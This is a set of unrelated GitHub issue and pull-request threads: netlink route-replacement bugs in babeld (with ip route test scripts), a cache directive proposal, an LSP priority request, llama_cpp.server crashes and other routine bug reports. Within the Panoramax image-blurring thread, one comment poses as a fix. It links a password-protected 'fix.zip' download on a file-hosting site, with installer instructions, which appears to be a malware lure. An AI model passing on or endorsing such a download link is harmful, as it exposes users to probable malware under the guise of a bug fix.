Tracking down netlink bugs

So I have observed netlink flakyness in babeld for years and years.  I finally got tired of it. there's at least 3 different bugs here. Bird still does add/delete. iproute2 on the other hand, seems to always do the right thing now...
I added an attempt to do two phase commit updates to see stuff better...
So,

when a babel daemon elsewhere goes down, ipv6 reports an error here - where bird doesn't.

Deleted unreachable 2601:646:8500:7100::/60 dev lo proto babel metric 1024 error<PHONE_NUMBER> pref medium
unreachable 2601:646:8500:7100::/60 dev lo proto babel metric 1024 error<PHONE_NUMBER> pref medium
Deleted unreachable 2601:646:8500:7100::/64 dev lo proto babel metric 1024 error<PHONE_NUMBER> pref medium
unreachable 2601:646:8500:7100::/64 dev lo proto babel metric 1024 error<PHONE_NUMBER> pref medium
Deleted unreachable 2601:646:8500:7101::/64 dev lo proto babel metric 1024 error<PHONE_NUMBER> pref medium
unreachable 2601:646:8500:7101::/64 dev lo proto babel metric 1024 error<PHONE_NUMBER> pref medium
Deleted unreachable 2601:646:8500:7102::/64 dev lo proto babel metric 1024 error<PHONE_NUMBER> pref medium
unreachable 2601:646:8500:7102::/64 dev lo proto babel metric 1024 error<PHONE_NUMBER> pref medium
Deleted unreachable fd63:6ec7:2f84::1 dev lo proto babel metric 1024 error<PHONE_NUMBER> pref medium
unreachable fd63:6ec7:2f84::1 dev lo proto babel metric 1024 error<PHONE_NUMBER> pref medium
Deleted unreachable fdb8:92ec:da7d::1 dev lo proto babel metric 1024 error<PHONE_NUMBER> pref medium
unreachable fdb8:92ec:da7d::1 dev lo proto babel metric 1024 error<PHONE_NUMBER> pref medium
Deleted unreachable fde5:dfb9:df90:fff4::1 dev lo proto babel metric 1024 error<PHONE_NUMBER> pref medium
unreachable fde5:dfb9:df90:fff4::1 dev lo proto babel metric 1024 error<PHONE_NUMBER> pref medium
2: eno1    inet6 2603:3024:1536:86f0:eea8:6bff:fefe:9a2/64 scope global dynamic mngtmpaddr

So the ideal behavior is like this - for ipv4. Looking at it in ip mon, it is working correctly.
#!/bin/sh
IFACE=eno1
ip route replace unreachable <IP_ADDRESS>/16 metric 128
ip route replace <IP_ADDRESS>/16 metric 128 dev $IFACE
ip route replace unreachable <IP_ADDRESS>/16 metric 128
ip route add unreachable <IP_ADDRESS>/16 metric 128
RTNETLINK answers: File exists - expected
ip route replace unreachable <IP_ADDRESS>/16 metric 128
ip route replace <IP_ADDRESS>/16 metric 128 dev $IFACE
ip route del <IP_ADDRESS>/16 metric 128 dev $IFACE
echo proto tests
ip route replace unreachable <IP_ADDRESS>/16 metric 128 proto 52
ip route replace <IP_ADDRESS>/16 metric 128 dev $IFACE proto 52
ip route replace unreachable <IP_ADDRESS>/16 metric 128 proto 52
ip route del <IP_ADDRESS>/16 metric 128 dev $IFACE
RTNETLINK answers: No such process: expected
ip route replace <IP_ADDRESS>/16 metric 128 dev $IFACE proto 52
ip route del <IP_ADDRESS>/16 metric 128 dev $IFACE

The moral equivalent of this for ipv6 does report an error for the unreachable insert.
#!/bin/sh
echo nexthop test

IFACE=eno1
NEXTHOP="fe80::225:90ff:fec1:6252 dev eno1"
DEVICE="" # dev eno1"
#fe80::1
ROUTE=fc::/64

ip -6 route replace unreachable $ROUTE metric 128 $DEVICE
ip -6 route replace $ROUTE metric 128 via $NEXTHOP

ip -6 route replace unreachable $ROUTE metric 128 $DEVICE
ip -6 route add unreachable $ROUTE metric 128
# RTNETLINK answers: File exists - expected
ip -6 route replace unreachable $ROUTE metric 128 $DEVICE
ip -6 route replace $ROUTE metric 128 via $NEXTHOP
ip -6 route del $ROUTE metric 128 via $NEXTHOP
echo proto tests
ip -6 route replace unreachable $ROUTE metric 128 $DEVICE proto 52
ip -6 route replace $ROUTE metric 128 via $NEXTHOP proto 52
ip -6 route replace unreachable $ROUTE metric 128 $DEVICE proto 52
ip -6 route del $ROUTE metric 128 via $NEXTHOP
 # RTNETLINK answers: No such process: expected
ip -6 route replace $ROUTE metric 128 via $NEXTHOP proto 52
ip -6 route del $ROUTE metric 128 via $NEXTHOP

so: always with a nexthop on ipv6, you need to specify both the device and the fe80 address. However you can indeed keep doing just replace" and it works...
I have no idea what the error is for here, but:
unreachable fc::/64 dev lo metric 128 error<PHONE_NUMBER> pref medium
fc::/64 via fe80::225:90ff:fec1:6252 dev eno1 metric 128 pref medium
unreachable fc::/64 dev lo metric 128 error<PHONE_NUMBER> pref medium
unreachable fc::/64 dev lo metric 128 error<PHONE_NUMBER> pref medium
fc::/64 via fe80::225:90ff:fec1:6252 dev eno1 metric 128 pref medium
Deleted fc::/64 via fe80::225:90ff:fec1:6252 dev eno1 metric 128 pref medium
unreachable fc::/64 dev lo proto 52 metric 128 error<PHONE_NUMBER> pref medium
fc::/64 via fe80::225:90ff:fec1:6252 dev eno1 proto 52 metric 128 pref medium
unreachable fc::/64 dev lo proto 52 metric 128 error<PHONE_NUMBER> pref medium
Deleted fc::/64 via fe80::225:90ff:fec1:6252 dev eno1 proto 52 metric 128 pref medium
fc::/64 via fe80::225:90ff:fec1:6252 dev eno1 proto 52 metric 128 pref medium
Deleted fc::/64 via fe80::225:90ff:fec1:6252 dev eno1 proto 52 metric 128 pref medium

ok, now in poking through the babel code I really need to sit down and decode the netlink that iproute2 generates. I need to also test via iproute these tests for source specific route replacement.
rtm->rtm_scope = RT_SCOPE_UNIVERSE;
if(metric < KERNEL_INFINITY) {
    rtm->rtm_type = RTN_UNICAST;
    rtm->rtm_flags |= RTNH_F_ONLINK;

From watching babel do it's thing, it doesn't do a modify sanely in the first place.
<IP_ADDRESS> dev eno1 lladdr e2:91:f5:be:a3:53 REACHABLE
2603:3024:1536:86f0::/60 via fe80::f6f2:6dff:feb6:a01c dev eno1 proto babel metric 1 pref medium
Deleted 2603:3024:1536:86f0::/60 via fe80::46d9:e7ff:fe93:822e dev eno1 proto babel metric 1024 pref medium
2603:3024:1536:86f0::/60 via fe80::f6f2:6dff:feb6:a01c dev eno1 proto babel metric 1024 pref medium
Deleted 2603:3024:1536:86f0::/60 via fe80::f6f2:6dff:feb6:a01c dev eno1 proto babel metric 1 pref medium
default from 2603:3024:1536:86f0::/60 via fe80::f6f2:6dff:feb6:a01c dev eno1 proto babel metric 1 pref medium
Deleted default from 2603:3024:1536:86f0::/60 via fe80::46d9:e7ff:fe93:822e dev eno1 proto babel metric 1024 pref medium
default from 2603:3024:1536:86f0::/60 via fe80::f6f2:6dff:feb6:a01c dev eno1 proto babel metric 1024 pref medium
Deleted default from 2603:3024:1536:86f0::/60 via fe80::f6f2:6dff:feb6:a01c dev eno1 proto babel metric 1 pref medium
default from 2603:3024:1536:8600:f6f2:6dff:feb6:a01d via fe80::f6f2:6dff:feb6:a01c dev eno1 proto babel metric 1 pref medium
Deleted default from 2603:3024:1536:8600:f6f2:6dff:feb6:a01d via fe80::46d9:e7ff:fe93:822e dev eno1 proto babel metric 1024 pref medium
default from 2603:3024:1536:8600:f6f2:6dff:feb6:a01d via fe80::f6f2:6dff:feb6:a01c dev eno1 proto babel metric 1024 pref medium
Deleted default from 2603:3024:1536:8600:f6f2:6dff:feb6:a01d via fe80::f6f2:6dff:feb6:a01c dev eno1 proto babel metric 1 pref medium
default via <IP_ADDRESS> dev eno1 proto babel metric 1 onlink
Deleted default via <IP_ADDRESS> dev eno1 proto babel metric 1 onlink
fd89:cb20:8854::/48 via fe80::46d9:e7ff:fe93:822e dev eno1 proto babel metric 1 pref medium
Deleted fd89:cb20:8854::/48 via fe80::230:18ff:fec9:de9c dev eno1 proto babel metric 1024 pref medium

so for example, babel does this:
Deleted unreachable <IP_ADDRESS> proto babel metric 1
unreachable <IP_ADDRESS> proto babel metric 1
Deleted <IP_ADDRESS> via <IP_ADDRESS> dev eno1 proto babel onlink
unreachable <IP_ADDRESS> proto babel
oops! I'm using the wrong version!

yes. there even is a comment about that in the code in kernel_socket.c in kernel_route() - line 454. The CHANGES file reveals that in 2012/2013 atomic updates were disabled in BSD / OSX. It seems worthwile to figure out whether the reasons for these changes are still around.

well, the above note was that a ROUTE_MODIFY was not even being issued for the above inefficiency.
It really is my hope that whatever bug existed back then has long since been squashed. I'm sort of running now in a branch (atomic) that is sort of running better, but was focused on some other stuff that I just posted on the mailing list. I am encouraged though about what progress I could make with a week's worth of focus on the various nagging problems.

bird's code:
/*

We could use NL_OP_REPLACE, but route replace on Linux has some problems:

Does not check for matching rtm_protocol

Has broken semantics for IPv6 ECMP

Crashes some kernel version when used for IPv6 ECMP

So we use NL_OP_DELETE and then NL_OP_ADD. We also do not trust the old
route value, so we do not try to optimize IPv6 ECMP reconfigurations.
*/

But I swear olsr and quagga now do do atomic updates. And what I have is working halfway decently, except that it's higher up in the babel call stack that's not doing the route_modify in the right place....


Add inplace argument

Rename copy_inputs to inplace for ss.Sim(). Also add inplace as an argument to ss.parallel().

Closed by #661


Image causing "Internal server error"

All details here : https://gitlab.com/panoramax/server/api/-/issues/178

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Other pictures causing similar issues :
noirmoutier.zip

Other pictures causing similar issues : noirmoutier.zip

On my own sgblur instance, I can "blur" these images without any problem.

My tries were using https://blur.panoramax.openstreetmap.fr/blur/ webpage, and reported issues from user through Panoramax instance website. I don't think it's general because other pictures pass through... An issue with recent developments deployed but not available on this repo ?

fixed by https://github.com/cquest/sgblur/commit/5076bb51ffda45b1f0a33932147429f9a242cd70


CHAOS-5667 Separate onboarding guide from "Get started" on the left nav bar

Separate onboarding guide from "Get started" on the left nav bar

Please check the Execution Link of the Pipeline for the Website Draft URL. This is located in the Preview Step behind the Harness VPN and also is available in #hdh_alerts. E.g Website Draft URL: https://unique-id--harness-developer.netlify.app. Current Draft URL is: https://665ada6d4edce3aab0f27b88--harness-developer.netlify.app


Improvements for cache implementation

Problem description
In the current cache implementation, if @cache is added to fields of a type and not to the query where it is being resolved then the values doesn't get cached.
type Query {
  posts: [Post] @http(path: "/posts")
}

type Post {
  id: Int! @cache(maxAge: 3000)
  userId: Int! @cache(maxAge: 4000)
  title: String!
  body: String!
  user: User @http(path: "/users/{{value.userId}}")
}

The above config will not result in any form of caching.
type Query {
  posts: [Post] @http(path: "/posts") @cache(maxAge: 3000)
}

type Post {
  id: Int!
  userId: Int!
  title: String!
  body: String!
  user: User @http(path: "/users/{{value.userId}}")
}

This config, however, will cache the result of posts query.
Solution
One of the ways of fixing this issue is to do the following:

Add a field in ServerContext to hold the values provided by @cache directive for whichever field it is added to.
While creating the resolver function in src/blueprint/into_schema.rs use the field.of_type.name to get the type of output and use it to determine what caching rules are applied to the type and the fields of that type and use them to decide what values to fetch and what already exist in the cache.

@tusharmath I want to work on this one


[Feature] LSP priority list

Sometimes multiple LSPs can be attached to a buffer, and two or more of them could offer the documentSymbol capability.
It would be great to add an option to blacklist one or more LSP so that the documentSymbols request only goes to the wished server, or even better, define an LSP priority list.
This is what I mean, as implemented here:
https://github.com/stevearc/aerial.nvim/issues/222

Is there really a use case for this?

Attaching nvim-navic to a server is done manually by the user in their neovim config file. So to blacklist a server, you just don't attach nvim-navic to that server. So having another blacklisting feature would be redundant.
For lsp servers with priority, Lets say there are two servers lspA and lspB. lspA has greater priority than lspB. Now will it ever occur that lspA is not attached to a buffer but lspB is? Because LSP attach to a buffer by language. And if both lsp's work on same language, won't they both be attached to every buffer of that language every time?


Additional devstack changes

No, this doesn't fix the Django social library issue.  It allows the installation to complete successfully.  I was able to get it to do so if "-e migrate_db=no" is added when calling the vagrant-devstack.yml playbook.


fix build.rs to build under macOS

Erroring out, like this:
error[E0425]: cannot find value `libs` in this scope
   --> build.rs:123:16
    |
123 |     for lib in libs.split_whitespace() {
    |                ^^^^ not found in this scope

during cargo build without this fix

Erroring out, like this:
error[E0425]: cannot find value `libs` in this scope
   --> build.rs:123:16
    |
123 |     for lib in libs.split_whitespace() {
    |                ^^^^ not found in this scope

during cargo build without this fix

@mdrokz just a reminder about this (very unintrusive) PR

Hey @gmerlino sorry for the late response, i was really busy now i will merge this. Thanks for the fix!


Refactor Albums and Implement Album Detail Page

Overview
This pull request introduces changes to the Albums feature in the application as suggested in issue #1 . The key modifications include the addition of an album detail page, and the restructuring of components for better organization and maintainability.
Changes Made

Album Detail Page:

Created a new dynamic route [id].tsx to handle album detail views.
Implemented the AlbumDetails component to display individual album titles and their associated photos in a grid layout.
Integrated a Link in the AlbumItem to navigate to the corresponding album detail page.

Refactoring Components:

AlbumItem:

Introduced a separate component to encapsulate the rendering logic for individual albums, improving code organization and readability.

AlbumList:

Created an AlbumList component to manage and display the collection of albums, enhancing separation of concerns.

Styling Adjustments:

Updated the layout and styling of the album detail view using Tailwind CSS classes for a consistent and responsive design.

Search Functionality:

Improved the search functionality to filter albums based on user input, allowing for a more intuitive user experience.

Testing

Verified that all changes function correctly and the application runs without errors.
Ensured that navigating to individual album pages works as expected and displays the correct content.

@harshit1142 kindly check and merge the pr
thank you

@idk-mr4tyunjay Excellently Done. 👌

@idk-mr4tyunjay can you tell me about all the tech stacks used? And also about the run command to run it.

@idk-mr4tyunjay Thanks for your contribution.


re-implement updation of CoordinatorDynamicConfig to not call manager.watch(..) in its constructor

effectively reverts #4141 and leaves the responsibility of providing correctly updated CoordinatorDynamicConfig to CoordinatorDynamicConfigResource
Fixes #4555

👍

@leventov @jon-wei  TeamCity build failed in this PR , I looked at the logs and errors did not look related to updates made in this PR. Is that expected to fail for now ?

I've noticed similar issues on other patches (teamcity failing on files unrelated to the patch). It seems flaky for some reason.

ok, backporting it to 0.10.1 now


Errors in console related to objc_disposeClassPair.

I always receive this kind of message in console when trying to create class mock and mock class method:
objc_disposeClassPair: class 'Mockup-0x10f9de260-116683599' still has subclasses, including 'Mockup_Mockup_'!
Error appears after objc_disposeClassPair call in this method of OCClassMockObject.m:
- (void)stopMocking
{
    if(originalMetaClass != nil)
    {
        /* The mocked class has the meta class of a dynamically created subclass as its meta class,
           but we need a reference to the subclass to dispose it. Asking the meta class for its
           class name returns the actual class name, which we can then use to look up the class...
        */
        const char *createdSubclassName = object_getClassName(mockedClass);
        Class createdSubclass = objc_lookUpClass(createdSubclassName);

        [self restoreMetaClass];

        objc_disposeClassPair(createdSubclass);
    }
    [super stopMocking];
}

Let's see what happens with #285. If we end up using a cache in all cases, then this problem would disappear, because we'd never dispose the subclasses.

With iOS 9.3 the slowness problems reported in #253 have disappeared. Therefore, the workaround for these issues proposed in #285 isn't necessary anymore. That in turn means that we should look at this issue again, even though it seems mostly cosmetic.
Could you provide more details, or maybe even a self-contained example that shows the behaviour you are describing. Personally, I have not seen it. Are you using other libraries/frameworks that may impact retention of objects?

Assuming fixed by now.


[react/destructuring-assignment] Add ability to only trigger in a FunctionBody

I have just completed refactoring our ~100 component project with "react/destructuring-assignment" set to  ['error', 'always', { ignoreClassFields: true }]. This was already an in-house rule, but we couldn't enforce it since there was no ESLint rule so thanks for the implementation 👍
I have noticed that enforcing this rule for ArrowFunctions with just an AssignmentExpression and no FunctionBody results in uglier code:
class MyComponent extends Component {
  // What we had (good)
  renderSomething = () =>
{this.props.something}
;

  // What it become (ugly)
  renderSomething = () => {
    const { something } = this.props;
    return
{something}
;
  };

  // What we had (good)
  onSomethingHappen = () => this.props.dispatch(someAction());

  // What it become (ugly)
  onSomethingHappen = () => {
    const { dispatch } = this.props;
    dispatch(someAction()); // Lack of return is intentional
  };
}

We already have ignoreClassFields enabled and TBH I can't really think of any place other than a FunctionBody that I want this rule to trigger in.
Could we also have a setting like onlyFunctionBody or maybe a locations setting defaulted to "all" which we can set to ["FunctionBody"]?

Personally i find the "after" examples much better and less ugly, but clearly that's subjective.
One issue is that if your something is a function, and you call it inline, you'd accidentally pass this.props as the this value - always destructuring all props, regardless of quantity or location, is what's safe.
(Separately, I'd encourage you to avoid renderFoo methods and prefer SFCs)
The only thing I can think of that makes sense would be an ignore array that takes AST selectors - but that's a lot of complexity and power to enable users to allow a sneaky footgun.

Shouldn't we have something like react/no-call-props to disable this.props.func() then?

I think the destructuring-assignment rule is already the one to ensure that you don't do this.props.func() - iow, "always destructure every prop" remains the best practice.


Caching is not working when using llama_cpp.server

Prerequisites
Please answer the following questions for yourself before submitting an issue.

[y] I am running the latest code. Development is very rapid so there are no tagged versions as of now.
[y] I carefully followed the README.md.
[y] I searched using keywords relevant to my issue to make sure that I am creating a new issue that is not already open (or closed).
[y] I reviewed the Discussions, and have a new bug or useful enhancement to share.

Expected Behavior
I'm trying to get caching to work with llama_cpp.server. But it seems to crash without error.
Current Behavior
It print this and then fail for both using disk cache or ram cache:
Llama._create_completion: cache miss

llama_print_timings:        load time = 15401.08 ms
llama_print_timings:      sample time =    23.71 ms /    54 runs   (    0.44 ms per token,  2277.04 tokens per second)
llama_print_timings: prompt eval time = 57105.01 ms /  1864 tokens (   30.64 ms per token,    32.64 tokens per second)
llama_print_timings:        eval time =  7177.06 ms /    53 runs   (  135.42 ms per token,     7.38 tokens per second)
llama_print_timings:       total time = 68943.78 ms
Llama._create_completion: cache save
Llama.save_state: saving llama state
Llama.save_state: got state size:<PHONE_NUMBER>
Llama.save_state: allocated state

if I use ram cache with smaller model, it seems to go a little further and then crash:
Llama._create_completion: cache miss

llama_print_timings:        load time =  6197.49 ms
llama_print_timings:      sample time =  1054.15 ms /  2232 runs   (    0.47 ms per token,  2117.34 tokens per second)
llama_print_timings: prompt eval time = 22394.49 ms /  1864 tokens (   12.01 ms per token,    83.23 tokens per second)
llama_print_timings:        eval time = 153638.51 ms /  2231 runs   (   68.87 ms per token,    14.52 tokens per second)
llama_print_timings:       total time = 188456.79 ms
Llama._create_completion: cache save
Llama.save_state: saving llama state
Llama.save_state: got state size:<PHONE_NUMBER>
Llama.save_state: allocated state
Llama.save_state: copied llama state:<PHONE_NUMBER>
Llama.save_state: saving<PHONE_NUMBER> bytes of llama state

I tried to set a large disk cache (about 200GB) to ensure size is not the problem. But it still failed. Not sure if it's trying to make a copy in RAM/VRAM first, and then try to copy to the disk cache but somehow crashed because there's not enough RAM/VRAM?
Environment and Context
Ubuntu Linux physical server with 3 nvidia v100 cards

Physical (or virtual) hardware you are using, e.g. for Linux:

Architecture:                    x86_64
CPU op-mode(s):                  32-bit, 64-bit
Byte Order:                      Little Endian
Address sizes:                   46 bits physical, 48 bits virtual
CPU(s):                          64
On-line CPU(s) list:             0-63
Thread(s) per core:              2
Core(s) per socket:              16
Socket(s):                       2
NUMA node(s):                    2
Vendor ID:                       GenuineIntel
CPU family:                      6
Model:                           85
Model name:                      Intel(R) Xeon(R) Gold 6130 CPU @ 2.10GHz
Stepping:                        4
CPU MHz:                         1000.380
BogoMIPS:                        4200.00
Virtualization:                  VT-x
L1d cache:                       1 MiB
L1i cache:                       1 MiB
L2 cache:                        32 MiB
L3 cache:                        44 MiB
NUMA node0 CPU(s):               0,2,4,6,8,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58,60
                                 ,62
NUMA node1 CPU(s):               1,3,5,7,9,11,13,15,17,19,21,23,25,27,29,31,33,35,37,39,41,43,45,47,49,51,53,55,57,59,61
                                 ,63
Vulnerability Itlb multihit:     KVM: Mitigation: Split huge pages
Vulnerability L1tf:              Mitigation; PTE Inversion; VMX conditional cache flushes, SMT vulnerable
Vulnerability Mds:               Mitigation; Clear CPU buffers; SMT vulnerable
Vulnerability Meltdown:          Mitigation; PTI
Vulnerability Mmio stale data:   Mitigation; Clear CPU buffers; SMT vulnerable
Vulnerability Retbleed:          Mitigation; IBRS
Vulnerability Spec store bypass: Mitigation; Speculative Store Bypass disabled via prctl and seccomp
Vulnerability Spectre v1:        Mitigation; usercopy/swapgs barriers and __user pointer sanitization
Vulnerability Spectre v2:        Mitigation; IBRS, IBPB conditional, STIBP conditional, RSB filling, PBRSB-eIBRS Not aff
                                 ected
Vulnerability Srbds:             Not affected
Vulnerability Tsx async abort:   Mitigation; Clear CPU buffers; SMT vulnerable
Flags:                           fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acp
                                 i mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_per
                                 fmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64
                                  monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid dca sse4_1 sse4_2 x2
                                 apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetc
                                 h cpuid_fault epb cat_l3 cdp_l3 invpcid_single pti intel_ppin ssbd mba ibrs ibpb stibp
                                 tpr_shadow vnmi flexpriority ept vpid ept_ad fsgsbase tsc_adjust bmi1 hle avx2 smep bmi
                                 2 erms invpcid rtm cqm mpx rdt_a avx512f avx512dq rdseed adx smap clflushopt clwb intel
                                 _pt avx512cd avx512bw avx512vl xsaveopt xsavec xgetbv1 xsaves cqm_llc cqm_occup_llc cqm
                                 _mbm_total cqm_mbm_local dtherm ida arat pln pts pku ospke md_clear flush_l1d arch_capa
                                 bilities

Operating System, e.g. for Linux:

Linux v100-test2 5.4.0-155-generic #172-Ubuntu SMP Fri Jul 7 16:10:02 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

SDK version, e.g. for Linux:

Python 3.8.10
GNU Make 4.2.1
g++ (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.

Failure Information (for bugs)
Please see above
Steps to Reproduce
CACHE=1 CACHE_TYPE=disk CACHE_SIZE=214748364800 python3 -m llama_cpp.server
also tried with just CACHE=1 so it take the default, but still failed.

There's no error in your problem description. Without an error message it is difficult to understand why it is crashing.


Bugs of demo

Traceback (most recent call last):
  File "demo.py", line 26, in <module>
    model = models.make(torch.load(args.model)['model'], load_sd=True).cuda()
  File "/lib/python3.6/site-packages/torch/serialization.py", line 426, in load
    return _load(f, map_location, pickle_module, **pickle_load_args)
  File "lib/python3.6/site-packages/torch/serialization.py", line 599, in _load
    raise RuntimeError("{} is a zip archive (did you mean to use torch.jit.load()?)".format(f.name))
RuntimeError:rdn-liif.pth is a zip archive (did you mean to use torch.jit.load()?)

This looks weird, rdn-liif.pth should not be a zip file. If your environment is the same as the one described in our repo, could you describe how did you download this file?

solved by install torch==1.6


[BUG] Level votes not showing

Description
Level ratings (votes) are not showing

Plugins Used

PluginConfigurator (1.10.0)
AngryLevelLoader (2.10.0)

Console Logs
[Info   :AngryLevelLoader] Cached script catalog up to date
[Info   :AngryLevelLoader] Current online level catalog is up to date, loading from cache
[Error  :AngryLevelLoader] Could not get all votes while refreshing. Message: . Status: FAILED.

Extras
This is not the same as #21 I tried diefferent proton versions, reloging into steam, restarting steam, rebooting, and even fresh install only with Level loader and Plugin configurator

It is not a bug. Angry server is currently down and will be reopened on August 29-30.


doxygen: Rename the publisher of doxygen book

This commit is to rename the existing publisher name.

Before: AI Center - Samsung Research - Samsung Electronics
After : Samsung Research - Samsung Electronics

Signed-off-by: Geunsik Lim<EMAIL_ADDRESS>

:memo: Version: 1.20190225. Thank you for submitting PR #553. Your PR must pass all verificiation processes of cibot before starting a review process from reviewers. If you are new member to join this project, please read manuals in documentation folder and wiki page. In order to monitor a progress status of your PR in more detail, visit http://nnsuite.mooo.com/.

Before:

After


Default Groups

sooo, im trying to set the default group when people join the server to a group called "0" its called 0 cause im doing ranks 0-100 thats the name of each group, being a number {0-100} i cant seem to get it working, also. is there anyway to set everyone already on the server to default.

Use group-rewrite in the luckperms config to 'change' the name of the default group to 0. I haven't tested it with numbers myself, however.

https://github.com/lucko/LuckPerms/wiki/Default-Groups


 If I drop while there is currently data in the model for that space, it is over written with the newly dropped items data, which is great.
But I'd like to check the old data before the drop is completed to do logic, allow or reject the drop etc.
So I currently have in the directive for my drop object:
controller: function($scope, $q){
    $scope.beforeDrop = function() {
	var deferred = $q.defer();
            //do stuff
	deferred.resolve();
	return deferred.promise;
     };
}

How can I check the data currently held in the model before the drop completes?

You get two params in the callback as
beforeDrop: function(event, ui) {
    console.log('dropped: ', event.target);
    console.log('dragged: ', ui.draggable);
}

I'm sorry, I'm new to Angular, so maybe I'm missing something obvious, but both of those params show me the new node, not the one being dragged over.
Just to make my question a little clearer:
I currently have a circle in my drop area. I drag a square into that same drop area. Before the drop happens, I would like to verify if there is currently a circle in the drop area, and if there is, reject the square drop.

@SpringsTea Please share JSFIDDLE or PLUNKR demo link to investigate further.

Ok, I think I figured this out while playing with one of your demos.
I was logging out event.target to try and get the previous node, but it was only giving me the new one.
I see now that it was just a reference, so it was being updated when I resolved the callback.
Storing the nodes scope before logging made this apparent.
$scope.beforeDrop = function(event, ui) {
var $dropped = $(event.target);
var deferred = $q.defer();
var shape = $dropped.scope().shape;

if( typeof shape=== 'undefined' ){
	deferred.resolve();
}
else{
	deferred.reject();
}

console.log('dropped: ', event.target);
console.log('dragged: ', ui.draggable);

return deferred.promise;
};


Respect semver

Description
Between 1.2.x and 1.3.x the configuration for alerts changed completely. The provider configuration also changed in a backwards incompatible manner.
In order to upgrade we had to remove all alerts and re-create them. Just adjusting the configuration was not enough and we got errors such as:
internal error for alert in Coralogix backend - rpc error: code = Internal desc = Attempt to decode value on failed cursor: DownField(alert)

I do not expect such massive, backwards incompatible changes when upgrading minor versions. For future releases, please create a new major release when there are backwards incompatible changes.
New or Affected Resource(s)

coralogix_alert

Community Note

Please vote on this issue by adding a
👍 reaction to the original
issue to help the community and maintainers prioritize this request
If you are interested in working on this issue or have submitted a pull request, please leave a comment

@Photonios thank you. We will make sure we comply to semver rules from now on.
We will also provide clarification on the current version in the README file.
Let me know if you think anything else is required


Self-play - ValueError: Invalid action encountered while updating root

Hi,
Attempting to use this as instructed (subclassing GameState) seems to work at first, but during the self-play step the console is filled with the same errors:
Exception ignored in: 'alphazero.MCTS.MCTS.update_root'
Traceback (most recent call last):
  File "/home/tyto/miniconda3/envs/torch/lib/python3.9/multiprocessing/process.py", line 315, in _bootstrap
    self.run()
ValueError: Invalid action encountered while updating root: 155
ValueError: Invalid action encountered while updating root: 91

Make sure your env has the termination conditions set properly. Thats what usually causes this issue since it's trying to search through invalid positions.


WindowsPB: Update VS2022 Download Checksum

Update the MSVS2022 CE bootstrap checksum
Fixes #3607
Checklist

[X] commit message has one of the standard prefixes
[x] playbook changes run through VPC or QPC (if you have access)

VPC in progress : https://ci.adoptium.net/job/VagrantPlaybookCheck/1879/

@steelhead31 Have we changed the update version of VS2022 we are building with? as this will affect reproducible builds?

@steelhead31 Have we changed the update version of VS2022 we are building with? as this will affect reproducible builds?

Nope, its the boot strap installer, used where our default layout doesn't exist... MS occasionally update the bootstrap installer for the CE download, so the checksum periodically gets updated... it still installs the correct versions :)


[mem tool] support handles

also delete the bogus game-cnt.go file generated by running unit tests.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

2 of 39 (5.13%)  changed or added relevant lines in 2 files are covered.
1 unchanged line in 1 file lost coverage.
Overall coverage decreased (-0.04%) to 64.364%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

tools/MemoryDumpTool/main.cpp
0
37
0.0%

Files with Coverage Reduction
New Missed Lines
%

tools/MemoryDumpTool/main.cpp
1
0%

Totals

Change from base Build<PHONE_NUMBER>:
-0.04%

Covered Lines:
39890

Relevant Lines:
61976

💛  - Coveralls


Issue with output_attention argument in Long term forecasting

I have had the following error after setting --output_attention as an argument in the bash file for iTransformer.
Traceback (most recent call last):
File "/home/Time-Series-Library/run.py", line 208, in
exp.train(setting)
File "/home/Time-Series-Library/exp/exp_long_term_forecasting.py", line 139, in train
outputs = outputs[:, -self.args.pred_len:, f_dim:]
IndexError: too many indices for tensor of dimension 2
If I remove --output_attention this issue does not occur

I have made a pull request with the fix for this issue and also tested it does not cause problems when not using --output_attentions, this is the same as what was already implemented in the test part of the original code

Pull request #544

Hi, thanks for your interest and effort in debugging.
The current version does not support the output-attention argument. So, I think the correct way is to remove the 'output-attention' in the long-term forecasting file.


so bad

01-01 00:07:49.698 212-212/? E/update_engine: [0101/000749:ERROR:libcurl_http_fetcher.cc(436)] Unable to get http response code.

When I run studio, I only show the NEW REQUEST button.

You need to connect to Internet. You can see that the date is incorrect as well.

Change my raspberry pie time?I feel a little dizzy.Maybe my buttons are not on the breadboard.

I don't have a button on my breadboard yet, you're talking about the time the raspberry pie shows.
------------------ 原始邮件 ------------------
发件人<EMAIL_ADDRESS>发送时间: 2018年5月8日(星期二) 凌晨0:48
收件人<EMAIL_ADDRESS>抄送<EMAIL_ADDRESS><EMAIL_ADDRESS>主题: Re: [androidthings/sample-googleassistant] so bad (#72)
You need to connect to Internet. You can see that the date is incorrect as well.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or mute the thread.

If your device is not connected to the Internet, it will not connect to an NTP server, and HTTPS requests will fail.

So what should I do?I mean how to get my device to connect to the network, my raspberry pie has been connected to wiff.What do you mean by not connecting to the Internet?

01-01 00:09:41.779 732-1511/com.google.android.gms.persistent E/Uploader: Clearcut transport failed to make network request.
java.net.SocketTimeoutException: failed to connect to play.googleapis.com/<IP_ADDRESS> (port 443) from /<IP_ADDRESS> (port 38906) after 60000ms
at libcore.io.IoBridge.connectErrno(IoBridge.java:185)
at libcore.io.IoBridge.connect(IoBridge.java:130)
at java.net.PlainSocketImpl.socketConnect(PlainSocketImpl.java:129)
at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:356)
at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:200)
at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:182)
at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:357)
at java.net.Socket.connect(Socket.java:616)
at com.android.okhttp.internal.Platform.connectSocket(Platform.java:145)
